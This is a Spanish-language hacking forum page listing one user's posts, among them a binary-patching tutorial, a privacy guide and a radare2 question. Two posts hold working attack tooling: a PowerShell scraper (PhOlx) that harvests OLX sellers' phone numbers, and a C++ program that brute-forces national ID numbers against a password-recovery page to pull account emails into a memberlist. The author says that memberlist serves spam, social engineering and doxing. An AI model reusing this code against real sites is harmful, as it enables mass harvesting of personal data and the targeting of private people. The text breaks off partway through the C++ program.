Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - andergedon

Páginas: [1] 2
1
C / C++ / AsciitoX - conversor de texto para tu terminal
« en: Marzo 19, 2018, 02:35:17 am »

Hola amigos de underc0de, después de estar mucho tiempo inactivo (Los estudios me sacan de aquí) he vuelto con un pequeño código que me pasé la tarde haciendo para volver a tomar la práctica con los códigos jeje  8)
Se trata de una herramienta de conversión para texto, con opciones para convertir a ASCII, binario, hexadecimal, base64, decimal y ROT13.

El código lo pueden encontrar en el repositorio de github Una vez compilado su uso es muy sencillo.

Código: [Seleccionar]
      Opciones:
      --asc = ascii --bin = binary
    --hex = hex --b64 = base64
    --dec = decimal --r13 = ROT13
   
    --all = todos (default)
    --cb  = copia el output al portapapeles
    --to xxx = convert to xxx

Ejemplo:
Código: [Seleccionar]
asciitox.exe "underc0de" --to all

si queremos copiar el contenido de alguna de las salidas colocamos al final la opcion "--cb"
Ejemplo:
Código: [Seleccionar]
asciitox.exe --asc "underc0de" --to b64 --cb

Eso es todo por hoy colegas, siéntanse libres si quieren aportar al código, etc.. Nos leemos.


2
Dudas y pedidos generales / Problema depurando con radare2
« en: Febrero 18, 2018, 03:09:08 pm »
Hola amigos, estoy tratando de aprender sobre radare2. El problema es que cuando intento correr el programa en el depurador no puedo seguir analizándolo, es decir radare2 no me deja colocar instrucciones (breakpoints, seek's, write,etc) mientras el programa está ejecutándose.


¿Alguna solución o simplemente la característica no está disponible? Lo que intento es depurar/analizar mientras el programa corre como lo haría con Olly.

Gracias de antemano.

3
Ingeniería Inversa / Modificando el funcionamiento de ejecutables
« en: Febrero 07, 2018, 09:53:57 pm »

Que tal colegas. Hoy les enseñaré a aprovecharse del flujo de un programa para modificar determinadas partes de su funcionamiento.
Es recomendado tener al menos conocimiento básico sobre ingeniería inversa, ollydbg, y algo de lenguaje ensamblador.

El ejecutable que estaré utilizando en el ejemplo, es un programa sencillo que hice hace mucho tiempo mientras practicaba las GUI de C++. Lo he encontrado entre la basura de mis carpetas y vi que se prestaba para lo que quiero demostrar, Lo pueden descargar aquí, dicho esto, empecemos  ;D

El programa simplemente genera 4 colores aleatorios creando así una paleta de colores, la app tiene una opción que permite buscar imagenes en el navegador que contengan los colores de la paleta generada.

   

Lo que vamos a hacer es modificar esa URL que genera el programa y colocar la que nosotros deseemos.
Manos a la obra 8)

Primero buscaré todas las strings relevantes en relación al botón que llama la función para abrir el navegador. Empezaré con la string "Search image with this colors!" y presionamos F2 para poner un BreakPoint. También localizaré la string "labs.tineye.com" que es la URL que abre el navegador al momento de pulsar el botón, podemos asumir que en algún momento se pasará como argumento a una función. Por ahora colocaré un BreakPoint ahí también.


Bien, una vez hecho esto intentemos comenzar la depuración del ejecutable y esperar que se tope con alguno de nuestros BreakPoints antes colocados.
Presionamos el botón que nos interesa, el que llama a la función para buscar las imagenes. Nos topamos con uno de los BreakPoints, el de la URL y vemos que la instrucción  manipula esa string a partir de la posición 00A4CC4C


A partir de este punto avanzaré hasta encontrar el punto en donde se abre nuestro navegador para tener puntos de inicio/final. Luego de ir paso a paso hallamos ese punto final en 00405158.

Ya que sabemos donde está nuestro punto final podemos analizar el flujo del programa con más calma. Si volvemos a ejecutar el programa y vamos de nuevo instrucción por instrucción notamos que en 0040512B la dirección de nuestra URL completa es almacenada en el registro EAX


La dirección que almacena nuestra string con la URL es entonces 0028F6F2

Lo que voy a hacer acontinuación es cambiar el contenido de la memoria donde es almacenada la URL, lo haré antes de que sea copiado al registro EAX, pues parece que el registro es utilizado para mover el string y utilizarlo dentro de la función que llama al navegador. Para hacer esto tenemos que "inyectar" un par de instrucciones en el programa.
Lo primero que vamos a hacer es buscar un espacio "nulo", es decir, un espacio en la memoria bastante alejada en donde no haya ninguna instrucción, byte, etc. Normalmente se idetifican por una serie bastante larga de NOP o DB 00 Yo elegiré la 00A3C34F. A partir de aquí es donde empezaremos a colocar las instrucciones "inyectadas" con el fin de modificar la URL

Tenemos que hacer que nuestro programa salte en algún punto hasta nuestra dirección alejada, para esto buscaremos una instrucción "inofensiva" o una instrucción que no sea tan importante. Elegiré 0040511E   MOV EAX,16. Pues no hace más que copiar 16 al registro EAX. Reemplazaremos esa instrucción por JMP 00A3C34F para que de un salto incondicional hasta nuestra dirección alejada.

Una vez dado el salto empezaremos a modificar la dirección de memoria de la URL.

La url que inyectaré será: goo.gl/CqMM2n (El link acortado al foro de underc0de) Luego de convertirlo a hexadecimal, quedaría así:
Código: [Seleccionar]
676f6f2e 676c2f43 714d4d32 6e00
Y luego de invertirlo para pasarlo mediante el registro quedaría de esta forma:
Código: [Seleccionar]
2E6F6F67 432F6C67 324D4D71 006e
Ahora empezaremos a copiar todos esos caracteres mediante EAX a nuestra memoria donde se encuentra la URL. Las instrucciones quedarían algo así

Código: ASM
  1. MOV EAX, 2E6F6F67
  2. MOV [0028F6F2], EAX
  3. MOV EAX, 432F6C67
  4. MOV [0028F6F6],EAX
  5. MOV EAX, 324D4D71
  6. MOV [0028F6FA], EAX
  7. MOV EAX, 006e
  8. MOV [0028F6FE], EAX
  9. MOV EAX, 16
  10. JMP 00405123


Estas instrucciones son las que colocaremos en nuestra dirección alejada (00A3C34F). Si ejecutamos un poco estas instrucciones podemos ver como nuestra URL va cambiando.


Una vez terminada la modificación de la memoria hay que "dejar todo como estaba y fingir que nada pasó" por eso colocamos ese 16 en EAX y volvemos con un salto al punto justo después de donde aplicamos el primer salto. Esto para que el programa siga su curso "normalmente"

Ejecutamos nuestro programa dentro del depurador para comprobar y...


Búm! Hemos conseguido que el programa nos envíe a un sitio totalmente diferente al que conducía originalmente.
Para guardar los cambios damos en click derecho> copy to executable > All modifications.

¡Y listo!


Esto fue todo por hoy, espero que también hayan aprendido algo. ¡Nos leemos!.

4
Criptografía / Twitter como fuente de entropía
« en: Febrero 03, 2018, 10:04:26 pm »
¿Que es entropía?
La entropía es la aleatoriedad recogida por un sistema operativo o aplicación para su uso en criptografía u otros usos que requieren datos aleatorios.


Internet es un desastre caótico, lo que hace que sea una buena fuente de entropía.
Básicamente cuando generamos claves (Digamos RSA 2048) necesitamos verdaderos números aleatorios. No queremos que sean determinados (Basados en fechas/horas o en algún ID) La criptografía depende de una buena aleatoriedad.

En linux se tiene lo que se denomina "pool entropy" o conjunto de entropía, un conjunto de bits que se supone que son verdaderamente aleatorios. Su agrupación se alimenta de varias fuentes consideradas algo aleatorias (Movimientos del mouse, eventos de red, pulsaciones de teclas, etc.) Para visualizar el contenido de los bits de entropía disponibles en linux puede ejecutar el comando:
Código: Bash
  1. cat /proc/sys/kernel/random/entropy_avail

El apoyo de Twitter

Todos sabemos que twitter es una gran fuente de ruido: bots rusos, amenzas a Trump, interacciones humanas, tráfico de malware, etc. Y todo esto es una gran fuente de entropía ya que es bastante aleatoria y tiene un contenido impredecible. La impredecibilidad es una propiedad importante en la seguridad, un adversario no puede conocer o adivinar la salida del generador de números aleatorios.

Pero twitter es público, ¿Es cripográficamente seguro?
Es cierto que el ruido de twitter es público, pero es impredecible. Usar twitter como fuente única de entropía sería un error fatal ¡Pero su sistema lo sabe y ya cuenta con herramientas de entropía! Se pueden mezclar esas fuentes y crear un conjunto bastante caótico con muy buenas propiedades. ¡Mientras más, mejor!

Obteniendo Tweets aleatorios
Twitter permite a cualquier persona extraer una pequeña muestra aleatoria de todos los tweets que se publican en tiempo real, utilizando su API.

Ruido de Twitter(tweets concatenados y codificados en UTF-8)

Se muestran 500KB de tweets sin procesar, la entropía es alrededor de 6.5519 bits por byte (El verdadero valor aleatorio llegaría a 8 ) No es completamente al azar, pero nos acercamos.
Ahora podríamos comprimir los bytes hasta tener una alta entropía (hashing) o mezclarlo con otro generador de números aleatorios.

Ruido luego de mezclar con un generador de números pseudoaleatorios

Esta fuente de entropía no es verdaderamente aleatoria, pues, podemos suponer que habrán muchos hastags (#), links populares y emojis que serán repetitivos dañando nuestro objetivo.
En conclusión: No uses esto para operaciones criptográficas sensibles.


Fuente: https://blog.0day.rocks/introducing-the-first-ever-shitpost-based-rng-c5422bfce257

5
Seguridad / [Guía] Privacidad online
« en: Diciembre 10, 2017, 01:43:53 pm »

El tema de navegar en internet no es seguro ni mucho menos anónimo. Y el número de servicios que ofrecen seguridad para nuestra información crece a la par con el número de compañías dispuestas a vender información acerca de nuestra actividad online. La privacidad es un derecho no una característica de marketing para convencernos de descargar algún software o cambiarnos de proveedor de mail.

Por eso les mostraré las técnicas que yo uso y recomiendo para navegar de forma segura y un poco más tranquila. Es  mejor paranoia que passwords débiles ;D

Utiliza VPN


Por simplifcar, las redes VPN (Red Privada Virtual) añaden una red privada sobre la red principal del usuario. Básicamente, una red VPN toma tu conexión, la encripta y la envía a otro servidor. En lugar de que tu ordenador acuda directamente a una web, primero accede a un servidor intermedio y, desde ahí, entra a la web destino. Al utilizar una VPN solo será visible tu conexión con el servidor intermedio, y este será el que de verdad ejecute las peticiones
Usar un proveedor VPN NO TE HACE ANÓNIMO. Pero te ofrece una mejor privacidad, recuerdo que no utilizamos estas herramientas para actividades ilegales  ;)

* Recomendación de paga (124.95 €) Perfect-Privacy
* Recomendacion gratuita  ProtonVPN



Utiliza un navegador confiable


El navegador web es la puerta desde la que accedemos a internet. Hoy en día le dedicamos mucho tiempo a este programa, tanto en la computadora como en tu tablet o smartphone, ya que desde él tenemos acceso al correo, a redes sociales, a portales de noticias. Por eso es importante que el software que utlicemos se preocupe por nuestra privacidad
Empecemos por desinstalar Chrome. Punto. Por la simple razón de que la gran 'G' siempre está mirando.

Existen mejores alternativas para navegar y además open-source.
Recomiendo:
*TOR Browser
*Brave
*UR Browser
*Firefox ♥



Encripta tus correos

¿Cómo me aseguro de que nadie que no esté autorizado/a pueda leer el contenido de mis correos electrónicos? Necesitas enviar información privada y delicada a tus colegas o amigos/as, pero sabes que una vez que los mensajes salen de tu computador, viajan por una tierra de nadie donde pierdes el control.

Existen muchas maneras de encriptar y firmar tus correos Gmail, Outlook , etc.
Aún este tipo de proveedores no son muy conocidos por ser conscientes en cuanto a privacidad. Aunque siempre puedes usar herramientas de encriptación de terceros, es recomendado cambiar el servicio.

* Recomendación de paga ($ 59.95)   SmartMail
* Recomendacion gratuita ProtonMail  | MailFence



Haz búsquedas seguras


Ya dijimos que la gran 'G' siempre está mirando, por lo tanto seguir usando Google como buscador en este punto sería...
Recomiendo como alternativa
Searx.me es open-source y puede llegar a ser acertado como otros buscadores populares, ya que se encarga de recopilar los resultados que arrojan otros motores de búsqueda conocidos. Sin publicidad, sin guardar tus búsquedas, sin rastreos. Otras buena alternativa es Qwant



Tu móvil también...


Ya se ha hablado (y no muy bien) acerca de los servicios de mensajería instantánea y la privacidad. ¿Estará espiando alguien nuestros mensajes? No podemos saberlo, pero tenemos la posibilidad de escoger otra app más segura que WhatsApp, por ejemplo.

Por suerte existen algunas alternativas recomendadas, entre ellas:

*Wire
*Wickr Me (Como Mr.Robot  8))

Ambas disponible para Android y iOs



Allá arriba también deberías...


Con el paso de los años la nube se ha vuelto imprescindible para todo, porque nos permite alojar archivos sin que ocupen espacio físico dentro de nuestros dispositivos. Pero es importante centrarse siempre en la seguridad.
Asegura tus servicios de almacenamiento en la nube. Dropbox, Google Drive, OneDrive, iCloud. Todos han sido criticados y atacados por presumir sobre seguridad pero husmear y filtrar bastante. Como alternativa:

*Recomendación de paga ($10) Seafile
*Recomendación gratuita Wuala



Encripta tus archivos locales

El principal método para que mantener a salvo tus datos e información privada es evitar que nadie tenga acceso.
Siempre es bueno mantener los archivos de tu pc encriptados, esta práctica cada vez es más popular entre los usuarios promedio y así debería continuar. Para mi la mejor herramienta y bastante popular en lo que hace es VeraCrypt aunque también es recomendada Peazip



No olvides tus contraseñas

De nada sirve haber seguido todos los pasos y tener una contraseña "1234" Creo que todos conocemos las características de una buena contraseña (numeros,mayusc,signos,etc...) Un truco que yo utilizo para 'cifrar' mis contraseñas y recordarlas siempre, es tomar una frase que recuerdes y colocar cada letra inicial de ella, respetando signos de puntuación
Ejemplo: "En el club de la pelea, luchas contra TODAS las cosas que odias en esta vida." = "Eecdlp,lcTlcqoeev."

Otra técnica que también he utilizado es escribir mi contraseña y en vez de presionar la tecla, moverme una tecla arriba y a la izquierda.
Ejemplo: pass= "undercode" | arriba y a la izquierda= "7he34d9e3"

Luego de muchas contraseñas quizá necesites un administrador para ellas. Recomiendo utilizar Master Password , no se necesita sincronización ni acceso a internet. Lo que promete mantener tus contraseñas completamente seguras.



Recursos recomendados sobre privacidad

*Reddit-Privacy
*Alternative-to
*charlas-ciberseguras(español)
*charlas-ciberseguras(ingles)



Bueno undercoders esto es todo, espero que haya sido útil  ;D

Citar
Argumentar que no te importa la privacidad porque no tienes nada que esconder, no es diferente a argumentar que no te importa el derecho a la libertad de expresión porque no tienes nada que decir

-E. Snowden

6
Hola undercoders! Hice un pequeño script para comprobar si uno o más correos han sido filtrados en algún momento. El script utiliza la API de Hacked-emails para confirmar. Solo necesitamos un archivo emails.txt con todos los correos a testear para empezar a correr el script y luego si lo deseamos exportar todos los positivos a otro archivo



Código: [Seleccionar]
if((test-path "emails.txt") -eq $false){
    write-error "Archivo 'emails.txt' faltante"
}

$emails = get-content emails.txt
$ouput

foreach($mail in $emails){
   
   if($mail -notmatch '[a-zA-Z0-9.-][email protected]\w+\.\w+'){continue}

   $test = invoke-webrequest "https://hacked-emails.com/api?q=$mail"
   if($test.content -match '(:0)(?=,"data")'){
       write-host "Ninguna entrada para $mail !" -foreground green
       write-host "`n============================`n"
    }else{
if($test.content -match '(\d+)(?=,"data")'){}
$matches = ([regex]'https:[a-zA-Z\\\/-]+\.com\\\/leak\\\/[a-zA-Z0-9-.]+').Matches($test.content);

write-host "[x]" $matches.Count " Entradas para $mail [+] `n" -foreground red
    $output += @("$mail`n")
foreach($link in $matches){
    write-host "E-mail filtrado en:" ($link -replace "\\") -foreground red
    $output += @($link -replace "\\")
}
$output += @("`n==========================`n")
write-host "`n============================`n"
    }

}

write-host "Exportar e-mails filtrados? S/N > " -NoNewLine
   $x=read-host

    if($x -eq 's' -or $x -eq 'S'){set-content "output.txt" $output}

7
Otros lenguajes / Sintaxis de Cramel en VIM
« en: Noviembre 05, 2017, 12:12:40 am »
Que tal colegas. Hice mi primer VIM-plugin y lo orienté hacia Cramel y su amigable sintaxis  ;D



Para instalarlo

Puedes clonar el repositorio https://github.com/Andergedon/cramel-vim y usar tu Plug-Installer favorito, recomiendo utilizar Vim-Plug o Vundle

Código: [Seleccionar]
Plug 'https://github.com/Andergedon/cramel-vim'
Si prefieres instalarlo manualmente copia los archivos .vim dentro del repositorio: 
y pegalos en su respectiva carpeta dentro de tu ...\Vim\VimFiles



Y listo! Reiniciamos nuestro vim y ya podremos visualizar el coloreado en la sintaxis de Cramel.


BONUS

Para opciones de completación de código yo utilizo VimCompletesMe Que se encarga de completar las palabras dentro de la sesión de VIM abierta



Trataré de seguir actualizando el plugin, nos vemos undercoders.

8
Dudas y pedidos generales / [SOLUCIONADO] Continuar aprendiendo?
« en: Septiembre 20, 2017, 10:27:16 pm »
Que tal amigos, tengo un tiempo aprendiendo c++ y ya manejo desde lo fundamental hasta la POO, tengo buen planteamiento algorítmico, conozco las estructuras de datos, etc. 
¿Con que temas creen que debería continuar para seguir aprendiendo en la programación?

9
Hacking / Recopila números telefónicos de OLX - PhOlx
« en: Agosto 01, 2017, 03:22:35 am »


Que tal todo Underc0ders? Hoy vengo con una pequeña herramienta que desarollé mientras aprendía algo de Powershell.
Llamada PhOlx y se dedica básicamente a recopilar números telefónicos de la página OLX

OLX es un sitio web de clasificados, donde las personas pueden vender y comprar una gran variedad de cosas, nuevas o usadas. Algo parecido a mercadolibre y otros sitios de compra/venta. Una de las características de OLX es permitir que cualquier vendedor publique su numero de teléfono con el fin de que un potencial cliente tenga la posibilidad de contactar con el vendedor de una forma rápida y sencilla. De esta manera también, algunos negocios se dedican a recopilar estos numeros de teléfono con el fin de hacer spam sobre su producto o servicio. Los estafadores aprovechan esto para hacer phishing, estafas y otros ataques. O algún sitio web puede utilizarlo para almacenar tu información en alguna base de datos relacionada a numeros de teléfono, nombre y dirección.

Pueden encontrar la herramienta en https://github.com/Andergedon/PhOlx
El uso de la herramienta es bastante sencillo, para ponerla a correr tendremos que usar a nuestro amigo Google junto con sus dorks.
Citar
site:olx.com.ve

para resultados más específicos se puede jugar un poco con los dorks por ejemplo:
Citar
site:olx.com.ve iphone Caracas 
Así recopilaremos los numeros de personas que estén vendiendo un iphone en la ciudad de Caracas.

Podemos seleccionar los enlaces que han sido indexados las últimas 24 horas, de esa manera aseguraremos que los anuncios de venta no han expirado o hayan sido removidos.


copiamos y pegamos el link de la búsqueda Google, abrimos nuestro script y dejamos que haga su trabajo. Todos los números que fueron encontrados serán almacenados en 'numeros.txt'.


Por ahora la herramienta solamente extrae números telefónicos de Venezuela, estaré actualizándola a otros países tan pronto como pueda.

Source-code:

Código: DOS
  1. new-item links.txt -type file
  2. new-item numeros.txt -type file
  3. cls
  4.  
  5. write-host "
  6.  _______  __        ___   __          
  7. |_   __ \[  |     .'   `.[  |          
  8.   | |__) || |--. /  .-.  \| |  _   __  
  9.   |  ___/ | .-. || |   | || | [ \ [  ]
  10.  _| |_    | | | |\  `-'  /| |  > '  <  
  11. |_____|  [___]|__]`.___.'[___][__]`\_]
  12.                                        By:Andergedon
  13.     https://github.com/Andergedon/
  14. " -foreground green
  15. write-host "Google Link >" -foreground yellow
  16.  
  17. $link=read-host
  18.  
  19. write-host "Extrayendo Links OLX..." -foreground green
  20. (New-Object System.Net.WebClient).DownloadFile($link, 'temp.txt')
  21. write-host ">Listo" -foreground green
  22. $x=(get-content temp.txt)[1..6]
  23.  
  24. foreach($line in $x){
  25.  
  26.      $z=$line
  27.      for($i=0; $i -lt $z.length; $i++){
  28.           if($z[$i] -eq '<' -and $z[$i+1] -eq 'c' -and $z[$i+2] -eq 'i' -and $z[$i+3] -eq 't' -and $z[$i+4]-eq'e' -and $z[$i+5]-eq '>'){
  29.             $i+=6
  30.             $j=0
  31.             $K=0..100
  32.             while($z[$i]-ne'.'){$i++}
  33.                
  34.             while($z[$i]-ne'<'){
  35.                 $K[$j]=$z[$i]
  36.                 $i++
  37.                 $j++
  38.              }$union=-join $K[0..($j-1)]
  39.              add-content links.txt ("https://m"+$union)
  40.           }
  41.      }
  42. }remove-item temp.txt
  43.  
  44. $x=(get-content links.txt)
  45. foreach($link in $x){
  46. write-host "Buscando numero en: $link " -foreground yellow
  47. (New-Object System.Net.WebClient).DownloadFile($link, 'temp.txt')
  48.  
  49. $z=(get-content temp.txt -totalcount 11)[-1]
  50.  
  51.      for($i=0; $i -lt $z.length; $i++){
  52.           if($z[$i]-eq'0' -and $z[$i+1]-eq'4' -and $z[$i+2]-eq'1' -and ($z[$i+3]-eq'2' -or $z[$i+3]-eq'4' -or $z[$i+3]-eq'6')){
  53.                $K=0..11
  54.                $j=0
  55.                $l=$i
  56.                for($j=0;$j-lt 11; $j++){
  57.                     $K[$j]=$z[$l]
  58.                     $l++
  59.                }$aux=0
  60.                for($j=0; $j -lt 11; $j++){
  61.                     if($K[$j] -gt '9'){$aux=1}
  62.                }
  63.                if($aux-eq 0){
  64.                $NUM=-join $K[0..10]
  65.                write-host "Numero encontrado: $NUM" -foreground green
  66.                add-content numeros.txt $NUM
  67.                }
  68.           }
  69.      }
  70. }
  71.  
  72. remove-item temp.txt


Saludos!

10
Que tal amigos, verán, he querido hacer un autorun para una memoria usb.
Pero al parecer el equipo de windows ha desactivado la opción de que se autoejecuten programas  :-\ ¿Hay alguna otra forma de hacerlo?
Lo que quiero es que al conectar la usb, se ejecute un .bat
Muchas gracias de antemano!

11
Noticias Informáticas / Mexico espía a periodistas y activistas.
« en: Junio 20, 2017, 07:07:11 am »

El gobierno de Enrique Pena Nieto espía a defensores de derechos humanos, periodistas y abogados que delinean los mecanismos anti-corrupción, con un sistema cibernético que solamente debería ser usado para combatir al crimen organizado, revela el periódico The New York Times.

Los blancos del espionaje incluyen a los abogados que investigan la desaparición masiva de 43 estudiantes (Ayotzinapa), un académico altamente respetado que ayudó a escribir la legislación anticorrupción, a dos periodistas influyentes y a un abogado estadunidense que representa a las víctimas de abuso sexual por parte de policías.

El sistema o equipo cibernético para el espionaje conocido como Pegasus, fue adquirido en el 2011 por el gobierno de México a la empresa de Israel NSO Group, que asegura haberlo vendido bajo la condición de que no se usara contra la población civil.
El espionaje del gobierno de Peña Nieto se sustenta en la activación del software de Pegasus en los teléfonos inteligentes.

“Es altamente improbable que el gobierno recibiera la aprobación judicial para interceptar los teléfonos”, de acuerdo a varios ex funcionarios de los sistemas de inteligencia del gobierno mexicano. Los ex funcionarios, matizaron que el espionaje ilegal en México “es una práctica estándar”

Fuente: https://www.debate.com.mx/politica/A-quien-espia-Pena-Nieto-20170619-0149.html

12
Muy buenas amigos de Underc0de, después de un tiempo de inactividad (mucho trabajo y clases jeje) vuelvo para mostrarles una vulnerabilidad que se encuentra en algunos paneles de login. No es tan común, pero puede encontrarse por ahí. Por petición del sadmin no revelaré la identidad de la web, pero es la que utilizaré de ejemplo.
Sin más, empecemos a identificar y explotar.

IDENTIFICANDO LA VULNERABILIDAD
--------------------------------------

La vulnerabilidad permite obtener la lista de miembros de un sitio web, cuando este no utiliza protección de censura/cifrado en los correos afiliados a los usernames. Una memberlist puede ser utilizada para ataques de ing. social, spam, doxing, etc.

La vulnerabilidad se encuentra en los paneles de login con la opción de 'recuperar contraseña' Una vez que introducimos nuestro usuario para comprobar que tenemos una cuenta en el sitio nos devuelve un bonito mensaje junto con el correo afiliado a la cuenta, sin ningún tipo de censura.


Si nos devuelve este mensaje o algo parecido, podemos comprobar que SI es vulnerable

Si nos devuelve un mensaje parecido a este.

Citar
Se ha enviado un correo a
COR****SAR**@gmail.com

Entonces NO es vulnerable.

Ahora que ya sabemos identificarla, continuemos.


EXPLOTANDO LA VULNERABILIDAD
--------------------------------------

Si observamos el comportamiento de las cabeceras http al tratar de logearnos, comprobamos como y a donde se envian nuestros argumentos colocados en el panel login (usuario y contraseña)

Ahora ya sabemos que 'TC' recibe el parametro del usuario y 'TextC' el de contraseña

Si obtenemos el link GET podemos reescribir nuestro user y pass para acceder de forma automática, quedando algo como esto:

Código: [Seleccionar]
http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC=USUARIO2&TextC=CONTRASEÑA2&BPase=Acceder
Así podemos acceder a la web de forma directa. Ahora observamos las cabeceras pero esta vez buscando hacia donde se dirigen cuando tratamos de 'recuperar contraseña'

básicamente se obtiene la misma respuesta, lo único que cambia es el argumento 'EVENTTARGET' que pasa de estar vacío a tener como argumento 'LinkButton1' y porsupuesto la contraseña vacía.

Código: [Seleccionar]
http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC=USUARIO1&TextC=&
Y de esa manera se ingresa a la web de recuperar contraseña de forma directa, colocando los argumentos en la URL y devolviendo el correo asociado (si es que el usuario existe, claro)


Para automatizar el proceso utilizaremos fuerza bruta para dar con los usuarios y obtener sus correos. En la web que uso como ejemplo, el nombre de usuario es el número del documento de identidad.

Para ello diseñé un programa, utilicé C++ y PowerShell. La verdad estoy muy seguro de que se puede hacer mucho más rápido con otros lenguajes de programación, y confieso que no me preocupé por la portabilidad del código, aún así lo dejo por si alguien desea tomarlo como referencia y saber mas o menos como funciona el proceso.

Código: C++
  1. #include <iostream>
  2. #include <fstream>
  3. #include <string.h>
  4. #include <windows.h>
  5. using namespace std;
  6.  
  7. char cedula[320];
  8. char aux[] = {"http://example.comLogin.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC="};
  9.  
  10.  
  11. char URL[600] = {"http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC="};
  12.  
  13.  
  14. char URL2[] = {"&TextC=&"};
  15. char TC[10];
  16. char correo[50];
  17.  
  18. void wordlist();
  19. void script();
  20. void searcher();
  21. bool request(char *&);
  22.  
  23. ofstream output;
  24.  
  25. int main(){
  26. cout<<"\n\n\n";
  27.  
  28.         cout<<"MEMBER LIST BRUTEFORCE || By: TOMJASP3R"<<endl;
  29.         wordlist();             //funcion que carga la wordlist a la variable cedula
  30.         int j=0;
  31.         do{
  32.        
  33.         for(int i=0; i<strlen(cedula); i++){                    //almacena una de las cedulas en TC
  34.                 if(cedula[j] != ',' && cedula[j]!= '.'){
  35.                         TC[i]=cedula[j];
  36.                 }
  37.                 if(cedula[j]==','){
  38.                         break;
  39.                 }
  40.                 j++;
  41.         }
  42.        
  43.         j=j+1;
  44.        
  45.         cout<<"BUSCANDO USUARIO: "<<TC<<endl;
  46.        
  47.         strcat(URL,TC);         //..
  48.         strcat(URL,URL2);       //armando la URL        
  49.         fflush(stdout);         //..
  50.         script();                       //funcion que corre el script PowerShell
  51.  
  52.         strcpy(URL,aux);
  53.        
  54.        
  55.         output.open("memberlist.txt");
  56.         searcher();                     //funcion que busca el correo dentro del html
  57.        
  58.         system("del C:\\users\\desktop\\html.txt");
  59.        
  60. }while(cedula[j]!='.');
  61.         output.close();
  62.         return 0;
  63. }
  64.  
  65. void wordlist(){
  66.        
  67.         ifstream archivo("wordlist.txt");
  68.  
  69.         long cont=0;
  70.        
  71.         if(archivo.fail()){
  72.                 cout<<"ERROR // WORDLIST NO ENCONTRADO"<<endl;
  73.         }
  74.        
  75.         else{
  76.                 while(!archivo.eof()){
  77.                         archivo.getline(cedula,sizeof(cedula));
  78.                 }
  79.         }
  80.        
  81. }
  82.  
  83. void script(){//creando sript PowerShell
  84.        
  85.         ofstream script;
  86.         script.open("download.ps1");
  87.        
  88.         script<<"echo \"BUSCANDO CORREO\" "<<endl;
  89.         script<<"$url = \""<<URL<<"\""<<endl;
  90.         script<<"$output = \"C:\\users\\desktop\\html.txt\""<<endl;
  91.         script<<"Import-Module BitsTransfer"<<endl;
  92.         script<<"Start-BitsTransfer -Source $url -Destination $output"<<endl;
  93.         script<<"echo LISTO"<<endl;
  94.         script.close();
  95.  
  96.         system("download.ps1");
  97.        
  98. }
  99.  
  100. void searcher(){//buscando correo en el HTML descargado
  101.         bool K=false;
  102.         ifstream html ("C:\\users\\desktop\\html.txt");
  103.        
  104.         char *line;
  105.        
  106.         line = new char[3000];
  107.        
  108.         while(!html.eof()){//leyendo html hasta encontrar la linea donde se encuentra el correo
  109.                 html.getline(line,3000);
  110.                 if(request(line)==true){
  111.                         break;
  112.                 }
  113.                
  114.                 else{
  115.                         continue;
  116.                 }
  117.         }
  118.        
  119.         int j=0;
  120.        
  121.         for(int i=0; i<strlen(line); i++){
  122.                
  123.                 if(line[i] == 'a' && line[i+1] ==' ' && line[i+2]=='a'){//extrayendo correo y guardando en archivo txt
  124.                        
  125.                         do{
  126.                                 correo[j]=line[i+3];
  127.                                 j++;
  128.                                 i++;
  129.                                
  130.                         }while(line[i+3]!='<');
  131.                         cout<<"CORREO ENCONTRADO!!: "<<correo<<endl;
  132.                         output<<correo<<" || "<<TC<<endl;
  133.                         K=true;
  134.                         break;
  135.                 }
  136.         }
  137.        
  138.         if(K==false){
  139.                 cout<<"USUARIO NO REGISTRADO"<<endl;
  140.         }
  141.        
